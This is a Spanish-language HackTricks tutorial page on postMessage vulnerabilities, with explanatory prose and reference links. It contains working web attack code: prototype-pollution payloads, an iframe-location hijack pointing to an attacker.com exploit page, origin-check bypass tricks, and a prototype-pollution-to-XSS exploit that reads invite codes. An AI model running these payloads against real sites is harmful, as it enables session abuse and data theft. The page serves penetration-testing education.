.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Vulnerabilidades de PostMessage
Vulnerabilidades de PostMessage
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Enviar PostMessage
PostMessage utiliza la siguiente función para enviar un mensaje:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Tenga en cuenta que targetOrigin puede ser un '*' o una URL como https://company.com.
En el segundo escenario, el mensaje solo se puede enviar a ese dominio (incluso si el origen del objeto de ventana es diferente).
Si se utiliza el comodín, los mensajes podrían enviarse a cualquier dominio, y se enviarán al origen del objeto de ventana.
Atacando iframe y comodín en targetOrigin
Como se explica en este informe si encuentra una página que se puede iframar (sin protección X-Frame-Header
) y que está enviando mensajes sensibles a través de postMessage utilizando un comodín (*), puede modificar el origen del iframe y filtrar el mensaje sensible a un dominio controlado por usted.
Tenga en cuenta que si la página se puede iframar pero el targetOrigin está configurado en una URL y no en un comodín, este truco no funcionará.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Explotación de addEventListener
addEventListener
es la función utilizada por JS para declarar la función que está esperando postMessages
.
Se utilizará un código similar al siguiente:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Nota en este caso cómo lo primero que hace el código es verificar el origen. Esto es terriblemente importante, principalmente si la página va a hacer algo sensible con la información recibida (como cambiar una contraseña). Si no se verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos puntos finales y cambiar las contraseñas de las víctimas (en este ejemplo).
Enumeración
Para encontrar los escuchadores de eventos en la página actual, puede:
- Buscar el código JS para
window.addEventListener
y$(window).on
(versión JQuery) - Ejecutar en la consola de herramientas para desarrolladores:
getEventListeners(window)
- Ir a Elementos --> Escuchadores de eventos en las herramientas para desarrolladores del navegador
- Usar una extensión del navegador como https://github.com/benso-io/posta o https://github.com/fransr/postMessage-tracker. Esta extensión del navegador interceptar todos los mensajes y mostrarlos.
Bypasses básicos de verificación de origen
- Si se utiliza
indexOf()
para verificar el origen del evento PostMessage, recuerde que se puede evitar fácilmente como en el siguiente ejemplo:("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
\ - Si se utiliza
search()
para validar el origen podría ser inseguro. Según la documentación deString.prototype.search()
, el método toma un objeto de expresión regular en lugar de una cadena. Si se pasa algo que no sea una expresión regular, se convertirá implícitamente en una expresión regular.
En la expresión regular, un punto (.) se trata como un comodín. Un atacante puede aprovecharlo y usar un dominio especial en lugar del oficial para evitar la validación, como en:"https://www.safedomain.com".search("www.s.fedomain.com")
.\ - Si se utiliza la función
escapeHtml
, la función no crea un objeto escapadonew
, en su lugar sobrescribe propiedades del objeto existente. Esto significa que si podemos crear un objeto con una propiedad controlada que no responda ahasOwnProperty
, no se escapará.
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
El objeto File
es perfecto para este exploit ya que tiene una propiedad de solo lectura name
que es utilizada por nuestra plantilla y pasará por alto la función escapeHtml
.
Saltando e.origin == window.origin
Cuando una página está incrustada en un iframe con sandbox a través de <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
, el origen de ese iframe será null
.
Cuando se establece el valor de sandbox allow-popups
, entonces la ventana emergente abierta heredará todos los atributos sandbox a menos que se establezca allow-popups-to-escape-sandbox
.
Por lo tanto, abrir una ventana emergente desde un origen nulo hará que window.origin
dentro de la ventana emergente también sea null
.
Por lo tanto, si abres un iframe con sandbox permitiendo ventanas emergentes, y luego abres una ventana emergente desde dentro del iframe, y envías un postMessage desde el iframe a la ventana emergente, ambos orígenes son nulos, por lo que: e.origin == window.origin == null
Para obtener más información, lee:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Saltando e.source
Puedes forzar que e.source
de un mensaje sea nulo creando un iframe que envíe el postMessage y se elimine inmediatamente.
Para obtener más información, lee:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Saltando la cabecera X-Frame
Para realizar estos ataques, idealmente podrás poner la página web víctima dentro de un iframe
. Pero algunas cabeceras como X-Frame-Header
pueden prevenir ese comportamiento.
En esos escenarios, aún puedes usar un ataque menos sigiloso. Puedes abrir una nueva pestaña en la aplicación web vulnerable y comunicarte con ella:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Robando mensajes enviados a un hijo bloqueando la página principal
En la siguiente página puedes ver cómo podrías robar datos sensibles enviados a un iframe hijo mediante un postmessage bloqueando la página principal antes de enviar los datos y abusando de un XSS en el hijo para filtrar los datos antes de que sean recibidos:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Robando mensajes modificando la ubicación del iframe
Si puedes incluir un iframe de una página web sin el encabezado X-Frame, que contiene otro iframe, puedes cambiar la ubicación del iframe hijo, por lo que si está recibiendo un postmessage enviado usando un comodín, un atacante podría cambiar el origen de ese iframe a una página controlada por él y robar el mensaje:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage a la contaminación de prototipos y/o XSS
En escenarios donde los datos enviados a través de postMessage
son ejecutados por JS, puedes incluir un iframe en la página y explotar la contaminación de prototipos/XSS enviando el exploit a través de postMessage
.
Un par de XSS muy bien explicados a través de postMessage
se pueden encontrar en https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Ejemplo de un exploit para abusar de la contaminación de prototipos y luego XSS a través de un postMessage
a un iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Para más información:
- Enlace a la página sobre pollución de prototipos
- Enlace a la página sobre XSS
- Enlace a la página sobre pollución de prototipos del lado del cliente a XSS
Referencias
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Para practicar: https://github.com/yavolo/eventlistener-xss-recon
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.